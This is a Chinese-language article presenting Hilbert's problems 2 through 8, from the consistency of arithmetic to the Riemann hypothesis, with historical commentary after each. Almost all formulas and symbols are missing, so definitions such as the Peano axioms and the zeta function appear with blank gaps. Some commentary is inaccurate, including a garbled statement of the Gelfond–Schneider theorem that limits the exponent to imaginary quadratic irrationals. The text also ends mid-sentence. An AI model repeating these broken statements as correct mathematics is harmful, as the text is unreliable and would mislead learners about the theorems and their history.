更进一步的研究促使我们提出这样的问题：这组公理中个别公理的确切陈述是否以某种方式相互依赖？如果我们希望达到一种全体互相独立的公理系统，这组公理是否因此就不能包含共有的部分而必须将那些共有的部分分离出去？ 但是在关于公理的众多问题中，我想如下的问题是最为重要的：证明这些公理不互相矛盾，即以它们为基础而进行的有限步骤的逻辑推理绝不会导致矛盾的产生。 在几何学中，公理相容性的证明可以这样来实现，即构造一个适当的数域，使得域中数之间的类似关系与几何公理相对应。几何公理演绎中的任何矛盾，必能在该数域的算术中得到体现。这样，所要求的几何公理相容性的证明，便归结为算术公理相容性。 另一方面，我们需要一种直接方法来证明算术公理相容性。算术公理实质上无非是运算规则，再加上连续公理。最近，我把所有这些公理放在一起，同时用两个较简单的公理来代替连续公理 —— 阿基米德公理和一条新公理。这个新公理可陈述如下：数所形成的系统，当它满足所有其他公理时，不可能再做进一步的扩充（完备性公理）。我坚信，通过对无理数理论中熟知的推理法的详细研究和适当调整，一定能够找到算术公理相容性的直接证明。 为了从另一角度来说明问题的意义，我补充如下观点：如果一个概念具有矛盾的属性，那么我就认为这个概念在数学上不存在，比如平方为 的实数在数学上是不存在的。 如果能证明这个概念所赋予的属性在经过有限的逻辑过程后不会导致矛盾（比方满足一定条件的数或函数），我就认为这个概念在数学上的存在性得到了证明。目前，我们所关心的是算术里的实数公理，此时算术公理相容性的证明就是完备实数系或连续统存在性的证明。一旦算术公理相容性的证明得到充分解决，那对完备实数系是否存在的怀疑就变得毫无根据了。实数的全体，即在上述指明意义下的连续统，并不是一切可能的十进分数展开的全体，也不是其元素按一切可能排列的基本列的全体。准确地说，它是一种事物系统，这些事物间的相互关系受到所假设公理的支配，同时对它们来说，凡是能从公理通过有限步骤的逻辑推理而得到的命题（也只能是这样的命题）都是正确的。我认为，连续统的概念仅仅在这样的意义下才能在逻辑上站稳脚步。依我看来，实际上这也符合我们的经验与直觉。因此，连续统的概念，以及一切函数所构成的系统的概念，它们存在的意义和整数集、有理数集或康托的高阶数类及基数，完全一样。因为我相信后者的存在性同连续统一样，可在我上述描述的意义下得到证明，但所有基数构成的系统或所有康托的阿列夫构成的系统则不一样。对于它们，可以证明不能在我意义下的相容公理系统上建立。因此，在我的术语下，无论哪一个系统在数学上都是不存在的。 评论： 直到格拉斯曼（Hermann Günther Grassmann, 1809-1877）在 1860 年代证明了算术中的许多事实可以从关于后续运算和归纳的更基本事实中推导出来后，人们才意识到形式化算术的重要性。 1881 年，皮尔斯（Charles Sanders Peirce, 1839-1914）提出了自然数算术的公理化。 1888 年，戴德金（Julius Wilhelm Richard Dedekind, 1831-1916）提出了自然数算术的另一种公理化。1889 年，皮亚诺（Giuseppe Peano, 1858-1932）在他的书《一种新方法提出的算术原理》（Arithmetices principia, nova methodo exposita）中，发表了它们的简化版本来作为公理的内容。 九条皮亚诺公理包含如下三种类型的内容： 第一条公理断言自然数集中至少存在一个元素 0。 接下来的四条公理是关于相等关系的一般性陈述： （自反性）对每个自然数 ，有 ； （对称性）对自然数 和 ，若 则 ； （传递性）对自然数 、 和 ，若 和 ，则 ； （封闭性）若 是自然数且 ，则 是自然数。 接下来的三条公理是关于自然数的一阶陈述，表明后续运算 的基本性质： 对每个自然数 ， 是自然数（即自然数关于后续运算 是封闭的）； 对所有自然数 和 ，若 ，则 （即后续运算 是单射的）； 对每个自然数 ， 不成立（即 不是任何自然数的后续自然数）。 第九条公理是数学归纳原理对自然数的二阶陈述：如果 是一个集合且满足如下条件 a) 属于 ， b) 对每个自然数 ，如果 属于 则 也属于 ， 那么 包含每个自然数。通过显式添加加法和乘法运算符号并将二阶归纳公理替换为一阶模式，可以得到一个称为皮亚诺算术的较弱的一阶系统。 当皮亚诺公理首次被提出时，罗素（Bertrand Arthur William Russell, 1872-1970）和其他人一致认为，这些公理隐含地定义了我们所说的 “自然数” 的含义。庞加莱（Jules Henri Poincaré, 1854-1912）说，它们只有在自然数一致的（consistent）情形下才能定义自然数。 1900 年，希尔伯特提出了仅使用有限方法证明其一致性的问题。1931 年，哥德尔（Kurt Friedrich Gödel, 1906-1978）在《关于数学原理和相关系统的形式上不可判定定理 I》（Über formal unentscheidbare Sätze der Principia Mathematica und verwandter Systeme, I）证明了他的第二不完备性定理，该定理表明，如果皮亚诺算术是一致的，那么这种一致性证明就不能用皮亚诺算术本身形式化。 尽管人们普遍认为哥德尔定理排除了皮亚诺算术的有限一致性证明的可能性，但这取决于有限证明的确切含义。哥德尔本人指出，通过使用在皮亚诺算术中无法形式化的有限方法，可以给出皮亚诺算术或更强系统的有限一致性证明的可能性。 1958 年，哥德尔发表了一种使用类型论（type theory）证明算术一致性的方法。 1936 年，利用直到一个叫做 序数的超限归纳法（transfinite induction），根岑（Gerhard Karl Erich Gentzen, 1909-1945）在《纯数论的矛盾》（Die Widerspruchsfreiheit der reinen Zahlentheorie）一文中证明了皮亚诺公理的一致性。他解释说：“本文的目的是证明初等数论的一致性，或者更确切地说，将一致性问题简化为某些基本原理。” 根岑的证明可以说是有限论的，因为超限序数 可以用有限对象的术语进行编码（例如，作为图灵机描述整数上的合适次序，或者更抽象地说，由有限树组成，适当进行线性排序）。对于有限论证明的确切含义，没有普遍接受的定义，希尔伯特本人也从未给出过精确的定义。 大多数数学家认为皮亚诺公理是一致的，要么依赖于直觉，要么依赖于对一致性证明（如根岑的证明）的接受。 在几何基础方面，我想提出如下几个问题。 3、等底等高的两个四面体体积相等高斯在给葛林（Gerling）的两封信中，对一些立体几何的定理依赖于穷竭法（即依赖于现代术语中的连续公理或阿基米德公理）表示不满。高斯特别提到欧几里得定理：等高的两个三棱锥，其体积之比等于底面积之比。目前，平面上类似的问题已得到解决。葛林还通过把图形剖分为全等的部分证明了两个对称多面体体积相等。 但我认为，上述欧几里得定理似乎不可能推广到一般情形。 我们的任务就是给出严格的证明，这是可以的，只要能够找到等底等高的两个四面体，我们不能够将它们剖分为全等的四面体，同时也不能够补上全等的四面体使得新的两个四面体可以剖分为全等部分。 原文注：本文发布不久，邓恩（Max Wilhelm Dehn, 1878-1952）已给出了这种反例。 评论： 鲍耶（Farkas Bolyai, 1775-1856）（1833 年）、格维恩（Paul Gerwien）（1835 年）和华莱士（William Wallace, 1768-1843）（1807 年）在十九世纪就证明了两个面积相同的平面多边形可以等可分（equidecomposable）成彼此全等的多边形的。 根据鲍耶 - 格维恩 - 华莱士定理，正方形可以分割和重组成面积相等的三角形 众所周知，在三维空间里金字塔的体积公式为 ，其中 是高度而 是底面积。但是，所有已知的推导都是基于微积分的。1844 年，高斯认为这种简单的体积公式依赖于极限是非常不幸的。因此，希尔伯特问两个体积相同的多面体是否可以分解成全等的多面体。 1901 年，在希尔伯特的演讲发表之前，他的学生邓恩给出了反例。邓恩发现了一个数值不变量（现在称为邓恩不变量（Dehn invariant）），它在任意两个等分多面体上具有相同的值，但在正四面体和立方体上具有不同的值。 事实上，这个问题已出现在 1882 年的波兰。1882 年 6 月 12 日，瓦迪斯瓦夫・克雷特科夫斯基（Władysław Kretkowski）在克拉科夫艺术与科学学院（Academy of Arts and Sciences of Kraków）的数学竞赛中独立提出了希尔伯特第三问题。 1883 年，这个问题由路德维克・安东尼・伯肯马耶（Ludwik Antoni Birkenmajer，1855-1929）解决了（他用的方法和邓恩不同）。 伯肯马耶没有发表他的结果，多年后他的原始手稿重新被发现。 4、直线作为两点间最短距离的问题另一个与几何基础有关的问题是：如果从建立欧几里得几何所需的公理中去掉平行公理，或假设这条公理不满足，但保留所有其它公理，我们就得到了与欧几里得几何并列的罗巴切夫斯基几何（双曲几何）。如果进一步要求 “直线上三点有且只有一点位于其它两点之间” 这条公理不成立，我们得到了黎曼几何（椭圆几何），这种几何似乎和罗巴切夫斯基几何并列。如果希望对阿基米德公理进行类似研究，我们应该认为这条公理不满足，从而得到非阿基米德几何 —— 这种几何曾被韦罗内塞（Veronese）和我本人研究过。 现在要提出更一般的问题：从其他具有启发性的观点出发，是否可以建立起和欧几里得几何并列的几何？ 在这里，请大家注意这么一条事实上已被许多人作为直线定义的定理：直线是两点间的最短距离。这个定理的本质可归结为欧几里得定理，即三角形中两边之和大于第三边 —— 这个定理只涉及到基本的概念，即只涉及到由公理直接推导出的概念，因此更加易于进行逻辑演绎。欧几里得借助于以合同公理为基础的外角定理证明了这个定理。欧几里得定理，不能仅在只和角度、线段有关的合同公理的基础上得到证明，而且要有三角形的合同公理。因此，我们寻找一种几何，使得除了三角形的合同公理外，所有通常的欧几里得几何公理（特别是所有其它的合同公理）都成立（或者除了 “等腰三角形底角相等” 定理外），同时要求 “三角形中两边之和大于第三边” 这个命题被看作是特殊的公理。 我们发现这样的几何确实存在，它正是闵可夫斯基在他名著《数的几何》（Geometrie der Zahlen，1896）中所构造的且作为他算术研究基础的几何。闵可夫斯基几何也是和欧几里得几何并列的，其本质被如下两条性质所刻画： ① 与定点 距离相等的点，位于欧几里得空间中以 为中心的闭凸曲面上； ② 两个线段被认为是相等的，如果可以通过欧几里得空间中的一个平移把一个线段放到另一个线段上。 在闵可夫斯基几何中平行公理亦成立。通过对 “直线是两点间的最短距离” 定理的研究，我建立了一种几何（1895），除了平行公理不成立外，闵可夫斯基几何中其它所有公理都成立。 直线是两点间的最短距离这个定理以及（本质上等价的）与三角形的边相关的欧几里得定理，无论在数论还是在曲面论和变分学中起着至关重要的作用。 上面这个原因，以及我相信对于该定理成立条件的深入研究将会给距离这个概念及其它基本概念（比如平面的概念，和通过直线概念来定义平面的可能性）带来全新的诠释，我认为这种可能的几何的具体构造与系统研究是非常必要的。 评论： 希尔伯特想找到所有具有经典几何的公理化系统的几何，该系统具有全等公理，放弃了角度的概念，但增加了三角不等式。 1894 年，达布（Jean Gaston Darboux, 1842-1917）提出了如下问题：确定平面中所有的变分问题，其解都是直线。 首先，我们已经知道笛沙格定理（Desargues's theorem）：如果两个三角形位于一个平面上，使得连接三角形相应顶点的线在一点相交，则三角形的三对相应边的延长相交的三个点位于一条线上。即，如果 和 、 和 、 和 共点，那么 、 和 共线。 求解第四问题的必要条件是满足该问题公理的度量空间应为笛沙格的（Desarguesian），即，如果空间是二维的，则笛沙格定理及其逆定理应成立；如果空间维数大于 2，则任何三点都应位于同一个平面上。 对笛沙格空间，哈梅尔（Georg Karl Wilhelm Hamel, 1877-1954）证明了第四问题的每个解都可以在实射影空间 或 的凸域中表示，若通过长度（相对于使得射影空间的直线是测地线的度量）相等可以确定线段的全等性。 这种类型的度量称为平坦度量（flat metrics）。希尔伯特第四问题从而约化为构造性地确定所有完备平坦度量问题的解。 在度量正则性的假设条件下，哈梅尔解决了这个问题。但是，我们需要处理不光滑的度量。 在希尔伯特以前，已经有不同的发展方向： 在单位圆盘中罗巴切夫斯基几何的凯莱 - 克莱因模型（Cayley-Klein model）；根据该模型，测地线是圆盘的弦，点之间的距离定义为四边形交叉比的对数。 对实射影平面里凸区域的黎曼度量，如果测地线都是直线，那么该度量必有常曲率。这个结果是贝尔特拉米（Eugenio Beltrami, 1835-1900）于 1865 年《Risoluzione del Problema: Riportare i punti di una superficie sobra un piano in modo che le linee geodetiche Vengano rappresentate da linee rette》中证明的。嘉当（Élie Joseph Cartan, 1869-1951）在 1930 年代推广到高维情形。 1890 年，闵可夫斯基引入了如今我们称之为的有限维巴拿赫空间（Banach space）。 芬斯勒（Paul Finsler, 1894-1970）用范数代替内积来推广黎曼几何。这个范数由二元函数 这里 是凸的且对每个 函数 是关于 一次齐性的。 称为芬斯勒度量（Finsler metric）。 1903 年，哈梅尔在《关于直线最短的几何图形》（Uber die Geometrien in denen die Geraden die Kürzesten sind）里证明了如果 是光滑的，那么芬斯勒度量 是平坦的当且仅当 关于 是对称的。 1966 年，布斯曼（Herbert Busemann, 1905-1994）在莫斯科举办的国际数学家大会上的演讲中引入了一类新的平坦度量。在射影平面 上的一组直线上，他引入了完全可加的非负测度 ，它满足以下条件： 对经过一点的直线集，它的测度为零； 对经过某个集合 （包含一条直线段）的直线集，它的测度严格正的； 实射影平面的全测度是有限的。 给定这样一个 测度，对 和 我们定义他们间的距离： 和线段相交的直线集 利用帕施（Moritz Pasch, 1843-1930）定理（给定直线上的四个点 ，如果 在 之间且 在 之间，那么 必在 之间），我们立即得到该度量的三角不等式。 布斯曼证明了实射影平面上的所有 度量 都是平坦的。 但是，布斯曼远没有认为所有平面度量都是 度量。他说：“对非黎曼度量来说，在给定测地线下选择度量的自由度非常大，以至于人们可能会怀疑是否真的存在关于所有笛沙格空间的令人信服的刻画。” 1973 年，波戈列夫（Aleksei Vasilyevich Pogorelov, 1919-2002）证明了任意二维连续完备平坦度量必是 度量。 1976 年，安巴祖米安（Rouben V. Ambartzumian, 1941-）给出了二维情形的另一证明。但是他的证明方法不能够推广到高维情形，原因是他使用了一个仅在二维成立的结论 —— 具有相同面积的多边形是剪刀全等的（scissors-congruent）。 波戈列夫也证明了所有三维正则完备平坦度量必是 度量。 但是在三维时， 测度可以取正值也可以取负值。 由 定义的正则度量是平坦的充要条件是① 在平面上取值， ；② 在锥上取值， ；③ 在包含内点的锥上取值， 。 波戈列夫证明了，三维时的任意完备连续平坦度量是正则 度量的极限，且在任何紧集上是一致收敛的。他把这样的度量称为广义 度量（generalized sigma metrics）。 因此，波戈列夫证明了，在三维时任意完备连续平坦度量都是广义下的 度量。 5、李的连续变换群概念 —— 基于无需假设定义群的函数的可微性李利用连续变换群的概念，建立了一组几何公理，同时从他的群论观点出发，证明了这组公理对构造几何来说足矣。但在其理论的基础部分，李假设定义群的函数是可微的，因此在李的研究中还遗留了一个没有解决的问题：与作为几何公理的问题有关，可微性假设是否是必要的？它有没有可能就是群概念本身和其它公理的推论？ 这个问题以及和算术公理有关的其它问题，给我们带来了如下更一般的问题：如果在我们的研究中不要假设函数的可微性，那么李的连续变换群概念能走多远？ 李定义有限连续变换群为变换系统： 该系统具有如下性质，即从系统中任取两个变换 它们相继作用产生的变换也属于这个系统，从而也可表示为 这里 是关于 和 的函数。这样，群的性质就由一组函数方程加以充分表达，同时它本身没有对函数 和 加以额外的限制。李在进一步处理这些函数方程时，即导出著名的基本微分方程时，他必须假设定义群的函数的连续性和可微性。 关于连续性，这个假设目前还是会保留 —— 仅在几何和算术的应用中，在这里问题中函数的连续性是连续公理的推论。另一方面，定义群的函数的可微性包含另一个假设 —— 在几何公理里以相当生硬和复杂的形式来表达。因此就产生了问题：是否可以通过引入合适的新变量和新参数，变换群总可以变换成其上的定义函数是可微的某个变换群；或者，至少借助某种简单的假设，变换群可能变换成容许进行李方法的群。根据李所指出（1893）但首先是舒尔（Schur）证明的定理（1893），当群是可迁的（transitive）且假设定义群的函数有一阶导数和某些二阶导数时，总可以归结为解析群。 对无限群，我相信相应问题的研究也是很有意义的。此外，我们进入了广泛而有趣的函数方程领域，迄今为止，这些方程组通常仅在所涉及函数的可微性的假设下加以研究。特别是阿贝尔以如此多的独创性处理的函数方程、差分方程、和数学文献中出现的其他方程，它们并不直接涉及任何有关函数必须是可微的要求。在变分学中寻找某些存在性证明时，我直接遇到了这样的问题：从差分方程的存在性来证明所考虑的函数的可微性。那么，在这些情形下，问题就出现了：在可微函数情形下的结论，在不要可微性这个假设后，经过适当修改，我们可以在多大程度上仍旧保持正确？可以进一步指出，闵可夫斯基在他的上述著作《数的几何》中，从函数方程 出发，由此实际上成功地证明了问题中所出现的函数存在某些微分商。 另一方面，我想强调这样一个事实，即确实存在解析的函数方程，其唯一解是不可微函数。比如，可以构造一个单值、连续的但不可微的函数 ，它表示两个函数方程 的唯一解，这里 和 是实数，对所有的实值 函数 是正则解析单值函数。这些函数是通过最简单的方法而获得的 —— 借助于三角级数的方法，类似于博雷尔用于构造某个解析偏微分方程的双周期非解析解所使用的方式（根据皮卡（Picard）最近的公告，1900）。 评论： 此问题可陈述如下：设 是欧几里得空间中开集 的开子集。假设连续映射 满足群的结合律公理。这是否意味着 必须是光滑的（差一个连续参数化）？ 1933 年，冯・诺依曼（John von Neumann, 1903-1957）解决了紧群情形。1934 年，庞特里亚金（Lev Semyonovich Pontryagin, 1908-1988）解决了局部紧阿贝尔群情形。 最终，这个问题由蒙哥马利（Deane Montgomery, 1909-1992）- 齐平（Leo Zippin, 1905-1995）和格里森（Andrew Mattei Gleason, 1921-2008）在 1950 中解决。 更强的版本称为希尔伯特・史密斯猜想（Hilbert-Smith conjecture）—— 我们考虑变换群而不是抽象群 —— 仍旧没有得到解决。2011 年，帕登（John Vincent Pardon, 1989-）解决了三维情形。 1953 年，山边英彦（Hidehiko Yamabe, 1923-1960）证明了每个局部紧连通群 都是李群序列的射影极限（projective limit）；进一步，如果 没有小子群（no small subgroup）—— 即存在单位元的邻域使得除了单位元本身外它不包含其它子群（比如循环群满足 “没有小子群” 的条件，但是作为加法群的 - 进整数群 不满足 “没有小子群” 的条件），那么 必是李群。 1931 年，纽曼（Maxwell Herman Alexander Newman, 1897-1984）在文章《空间周期变换的一个定理》（A theorem of periodic transformations of spaces）中证明了，有限群在流形上的任何有效作用不可能有一致小的轨道，除非这个群是平凡的。 这个结果加上前一页里山边英彦的定理，我们可以证明，如果紧李群 有效作用在流形上，且 的每个元素都是有限阶的，那么 必是有限群。 从这里可推出希尔伯特 - 史密斯猜想和下面问题等价：不存在 - 进群（ -adic group）在流形上的有效作用。 1952 年，宾（R. H. Bing, 1914-1986）在美国《数学年刊》发表的论文《三维球面与两个实心角球面的和之间的同胚》（A homeomorphism between the 3-sphere and the sum of two solid horned spheres）中找到一个二阶群 在 上的拓扑作用，使得不动点集为一个角球面（horned sphere）。 所以即便知道 是李群而 是流形，我们还是需要找到 “合理的条件” 来确保群作用是光滑变换群作用。 对紧光滑变换群，存在 上的完备黎曼度量使得 的作用由等距映射给出。最好可以找到使局部紧群成为完备黎曼流形的等距群的条件。 希尔伯特考虑了抽象群，但群通常以变换群的形式出现。因此，除了群 本身之外，我们还需要考虑映射 其满足群公理。就像帕登证明的那样，当 的维数不超过三时，只要 满足较少的条件，我们可以求解希尔伯特第 5 问题。 人们感兴趣的是想知道高维的情形。 如果 的光滑结构变成其它结构，比如简单结构（simple structure），此时有很多有趣的问题。 取一个简单结构，例如图 ，点和边把他们连起来。考虑由保持 图结构的双射 所构成的集合，即双射 满足： 把点映射点， 。 这样的映射构成了群 ，因此我们考虑商图 ： 中的每点 是 作用在 的轨道（orbit） 。 但是，一个自然图结构（natural graph structure）是要求映射 是好的图映射（good graph map）（特别地，在有限群上定义了哪些可能的图结构，使得乘法与图结构相容；我们需要处理有向图（directed graph）情况；这些图结构的上同调群是什么？），以及存在好的纤维映射（good fibering map） 这里 表示 在 上的轨道，而 是保持轨道 的子群。 如果固定点 ，那么由以 为基点的 中的圈所构成的群在 （ 的自守群）上有表示。 6、物理公理的数学处理对几何基础的研究表明了以下问题：通过公理，以同样的方式来研究那些数学起着重要作用的物理科学；排在首位的是概率论和力学。 至于概率论的公理，依我看来，他们的逻辑研究应该和数学物理中，特别是在气体动力学理论中，均值方法的严格和令人满意的发展相结合。 物理学家对力学基础的重要研究就在眼前：我指的是马赫（Mach, 1889）、赫兹（Hertz, 1894）、玻尔兹曼（Boltzmann, 1897）和沃尔克曼（Volkmann, 1900）的著作。因此，数学家们也开始讨论力学的基础是非常可取的。因此，玻尔兹曼关于力学原理的工作提出了在数学上发展极限过程的问题，那里只是指出了从原子论观点到连续体运动定律的问题。相反，人们可能会尝试通过一个极限过程从公理系统中推导出刚体运动定律，这取决于连续填充整个空间的的介质的连续变化条件，这些条件由参数确定。因此，关于不同公理系统的等价性问题总是具有极大的理论意义。 如果几何要作为处理物理公理的模型，我们将首先尝试用少量的公理来包括尽可能多的物理现象，然后通过相邻的新公理来逐渐得出更特殊的理论。同时，李的细分原理或许可以从无限变换群的深刻理论中推导出来。数学家不仅要考虑那些接近现实的理论，而且要像几何一样，考虑所有逻辑上可能的理论。他必须时刻保持警惕，以便对从假定的公理系统中得出的所有结论进行全面调查。 此外，数学家有责任在每个情形下精确地检验新公理是否与之前的公理兼容。物理学家，随着他的理论的发展，常常发现自己被他的实验结果所迫，而他却完全依靠这些实验或某种物理直觉来判断新假设与旧公理的相容性，这种做法在理论的严格逻辑构建中是不可接受的。在我看来，所有假设相容性的证明也很重要，因为获得每个证明的努力总是迫使我们最有效地、精确地表述公理。 评论： 在希尔伯特时代，概率论并不严格，大概介于物理和哲学间。但是到了上世纪三十年代，概率论成为严格的数学。 当时的力学主要是古典力学和统计力学。分子学已经开始出现，希尔伯特期望用原子物理来推导流体力学等方程。由离散到连续的相容性（其实黎曼已经注意到这个问题了），希尔伯特说：“在我看来，所有假设的相容性所期望的证明也很重要。” 广义相对论和量子力学两门伟大而 “正确” 的科学，却不相容，二十世纪后期吸引了很多学者去克服这些困难，到目前为止还没有成功。它们之间相容性的这个问题是二十一世纪数学物理最重要的问题。 量子场论的应用成为一门极为有效的科学，但是基础不严格，亟待澄清。 二十世纪初期，希尔伯特、外尔（Hermann Klaus Hugo Weyl, 1885-1955）、冯・诺伊曼（John von Neumann, 1903-1957）都做了极其重要的工作。 希尔伯特对第 6 问题的贡献总结在外尔 1944 年的文章《大卫・希尔伯特和他的数学工作》（David Hilbert and his mathematical work）里。 外尔说：“早在 1909 年闵可夫斯基去世之前，希尔伯特就开始与他的朋友密切合作对理论物理进行系统的研究，而他的朋友一直与邻近的科学保持着联系。闵可夫斯基关于广义相对论的工作是这些联合研究的第一个成果。希尔伯特多年来继续这些研究，并在 1910 年至 1930 年间经常就物理学主题进行演讲和举办研讨会。他非常享受开阔的视野以及与物理学家的接触，他可以在自己的领域里遇到他们。然而收获却很难与他在纯数学方面的成就相比。物理学家必须考虑的实验事实的迷宫太多，它们的扩展太快，它们的方面和相对重量变化太大，以至于公理化方法无法找到足够牢固的立足点，除了我们物理知识中彻底巩固的部分。像爱因斯坦和尼尔斯・玻尔这样的人，通过不同于数学家的经验和想象力，在黑暗中摸索着广义相对论或原子结构的概念，尽管毫无问，数学是一个重要的组成部分。因此，希尔伯特在物理学方面的宏伟计划从未成熟过。” 希尔伯特指出了概率论及其在气体动力学理论中的应用，这些已成为数学物理的深刻主题。到现在，它在上世纪的动力系统、遍历理论和统计力学的发展中发挥了强大的作用。希尔伯特关于李理论应用的评论在某种程度上可被视为在现代连续介质力学理论中的应用，其中李群在描述模型材料特性的本构方程的分类中发挥着重要作用。 希尔伯特一生的最后三十年都致力于物理学和数学的公理化（继不变量理论、代数数论、几何基础和积分方程理论之后）。 希尔伯特的工作包括： 1、玻尔兹曼方程和气体动力学理论（1912）这个方程是关于概率密度 ，这里 是位置、 是速度、 是时间。从 出发，对速度微元积分我们分别得到概率密度的期望、速度以及热能密度。 显式地，玻尔兹曼方程可以写成 上面右端是关于 的二次泛函 —— 涉及速度的积分以及指定一对粒子之间的力的函数。 该方程可以被视为给出了气体的统计模型，因为提供了气体描述的近似版本，其精确行为将由与两个体积力相互作用的大量粒子的统计力学给出。 希尔伯特对有正规解的问题很感兴趣。玻尔兹曼方程应该具有一类独特解，其中每个时刻的概率分布可以由一些宏观参数（例如密度、速度和热能密度）来完全刻画，这些参数的演化受到宏观连续介质力学某些部分的方程所控制。 动力学理论的一个重要问题是证明玻尔兹曼方程的通解对于大时间 来说是渐近到正规解的。 希尔伯特展示了如何通过假设辅助参数中的 的形式洛朗级数来导出一类正规解，该辅助参数以一次幂的倒数开始。逐项的确立等价于求解具有对称核的积分方程，这可以应用最近创建的积分方程理论。 他的想法影响了恩斯科格（David Enskog，1884-1947）和查普曼（Sydney Chapman，1888-1970）他们发展了传输系数（transport coefficients）的展开。这些结果对于气体动力学理论非常重要。 在二十世纪六十年代，对于小初值来说，希尔伯特的形式展开渐近到实际解。 2、辐射统计理论 希尔伯特感兴趣的是用公理化方法来处理基本辐射理论。他将基本辐射理论（elementary radiation theory）定义为：“… 辐射理论的现象学部分直接依赖于发射和吸收的概念，并最终形成与发射和吸收相关的基尔霍夫定律”。 该理论是恒星大气理论的基础；他没有涉及量子力学理论：著名的紫外线灾难是由黑体辐射的统计物理学引起的；该理论对后面的研究者并没有产生太大的影响。 3、广义相对论 希尔伯特试图统一引力、电磁和电子的理论。他的理论建立在米（Gustav Adolf Feodor Wilhelm Ludwig Mie，1868-1957）的想法之上。米对电子的存在很感兴趣；也从变分法中得出了他的理论，其中拉格朗日量取决于矢量势及其旋度；他根据狭义相对论构建了他的理论。 希尔伯特跟随爱因斯坦想法的发展，但他发现，使用数量曲率让拉格朗日函数依赖于时空度规，就可以推出引力方程。 4、量子力学的建立 1926 年至 1927 年的冬学期，希尔伯特与他的助手诺德海姆（Lothar Wolfgang Nordheim，1899-1985）和冯・诺依曼（John von Neumann，1903-1957）合作讲授新量子力学。希尔伯特试图提取一个数学方案，来涵盖海森堡（Werner Karl Heisenberg, 1901-1970）、玻恩（Max Born, 1882-1970）和约当（Ernst Pascual Jordan, 1902-1980）的矩阵力学，以及薛定谔（Erwin Rudolf Josef Alexander Schrödinger, 1887-1961）的波动力学。 将算子与可观察量联系起来，希尔伯特还使用了他的跃迁幅度（transition amplitude）的概念。 用希尔伯特空间中的向量表示的状态替换跃迁幅度的轻微转变是由冯・诺依曼提出的，这导致了无界自伴算子的发展以及冯・诺依曼《量子力学之数学基础》（Mathematical foundations of quantum mechanics）一书的出版。 到目前为止，我们只考虑了有关数学科学基础的问题。事实上，对一门科学基础的研究总是特别有吸引力，而对这些基础的检验将永远是研究者的首要问题之一。魏尔斯特拉斯曾经说过：“永远要牢记的最终目标是对科学的基础有一个正确的理解。但是，要想在科学上取得任何进展，对特定问题的研究当然是必不可少的。” 事实上，透彻理解其特殊理论对于成功处理科学基础是必要的。只有对建筑物彻底和详细了解其用途的建筑师，才能为之奠定坚实的基础。因此，我们现在转向数学各个分支的特殊问题，第一考虑的算术和代数。 7、某些数的无理性和超越性埃尔米特（Hermite）关于指数函数的算术定理及其由林德曼（Lindemann）推广的定理无疑得到了历代数学家的钦佩。因此，新的任务立即呈现出来，沿着这样的路径进一步向前探索，正如赫尔维茨（Hurwitz）在两篇有趣的论文《论某些超越函数的算术性质》（Ueber arithmetische Eigenschaften gewisser transzendenter Funktionen）中所做的那样。因此，我想勾勒出一类问题，在我看来，这些问题应该按顺序加以讨论。某些在分析中很重要的特殊的超越函数，对某些代数变数取代数值，这在我看来特别了不起，值得深入研究。事实上，我们期望超越函数对代数变数也取超越值；而且众所周知，存在一类整超越函数，它们甚至对所有代数变数都具有代数值。但是，我们仍然认为，指数函数 很有可能，它显然对所有有理参数 都取代数值，另一方面，它总是对参数 的无理代数值取超越值。我们也可以给这个命题如下的几何形式：如果在等腰三角形中，底角与顶角的比值为代数数但不是有理数，那么底和腰之比总是超越数。尽管这个命题很简单，而且它与埃尔米特和林德曼所解决的问题相似，但我认为这个定理的证明非常难；下面命题的证明亦是如此： 对代数底数 和无理代数指数 ， （例如 或 ）是超越数或至少是无理数。 可以肯定的是，解决这些问题和类似问题必须使我们采用全新的方法，并对特殊的无理数和超越数的本质有新的见解。 评论： 1737 年，欧拉（Leonhard Euler, 1707-1783）证明了 的无理性。1760 年，兰伯特（Johann Heinrich Lambert, 1728-1777）证明了 的无理性。 1934 年苏联数学家盖尔范德运用解析函数构造法，证明当 为虚二次无理数时 的超越性。次年德国数学家施耐德通过引入模函数方法，独立完成实数情形的证明。两人工作合并构成完整的盖尔范德–施耐德定理。 1934 年至 1935 年间，盖尔范德和施耐德解决了希尔伯特第七问题，推广了林德曼–魏尔斯特拉斯定理。 1966 年，贝克进一步给出盖尔范德–施耐德定理的有效估计。 精确命题为：若 是非 0、1 的代数数， 是虚二次无理代数数，则 是否是超越数。该命题可等价转换为代数数对数线性形式的超越性判定。 8、素数问题最近，阿达玛（Hadamard）、德・拉・瓦利 - 普桑（de la Vallée Poussin）、冯・蒙戈尔特（von Mangoldt）等人在素数分布理论方面取得了重要进展。然而，为了完全解决黎曼的论文《论小于给定数值的素数个数》（Ueber die Anzahl der Primzahlen unter einer gegebenen Grösse）为我们提出的问题，仍然需要证明黎曼的一个极其重要的陈述的正确性，即由级数 定义的函数 的零点，除了众所周知的负整数外，全部具有实部 。一旦这个命题被成功证明，下一个问题就是更精确地检验黎曼的无穷级数，以此来估计小于给定数的素数个数，特别是确定小于数 的素数个数和 的对数积分之间的差是否实际上相当于 的阶不大于 的无穷大。此外，我们应该确定在计算素数个数时注意到的素数偶然凝聚的现象，是否真的是由黎曼公式中那些依赖于函数 的第一个复零点的项所导致的。 在对黎曼的素数公式进行了详尽的讨论之后，也许我们有一天可以尝试对哥德巴赫问题进行严格的求解，即是否每个（充分大的）整数都可以表示为两个正素数的和；为了进一步解决众所周知的问题 —— 是否存在无限多对差为 2 的素数对，甚至是更普遍的问题 —— 线性丢番图方程 （给定的整系数两两互素）是否总是可以有在素数解 和 。 但是，在我看来，以下问题似乎同样令人感兴趣，而且意义可能更广：将有理素数分布所得到的结果应用于给定数域 中理想素数的分布理论 —— 这个问题着眼于研究属于该域并由级数 所定义的函数 ，其中求和遍及给定域 里的所有理想 ， 表示理想 的模。 我可以再提一下数论中的三个特殊问题：第一个是关于互反律的，第二个是关于丢番图方程的，而第三个是关于二次型的。 评论： 希尔伯特在这个问题中问了几个与素数分布有关的问题，这些问题的解决主要是基于分析的手段。 最出名的问题是黎曼假设（Riemann hypothesis）。我们可以证明，如下定义的黎曼 - 函数 可解析延拓到整个复平面，并有平凡零点 等。 黎曼假设是说 的其它零点形如 ， 。 一般地，给定一个以适当的收敛速度趋向无穷大的实数列 ，我们可以构造一种 - 函数 当该数列为正整数集时，这个 - 函数被称为黎曼 - 函数。当 较大时，该级数收敛并定义了一个全纯函数。 1859 年，黎曼断言很有可能所有的根都是实的（他修正了黎曼 - 函数）。当然，人们希望对此有一个严格的证明。在黎曼去世时，在其论文中发现了一条注释，上面写着 “ 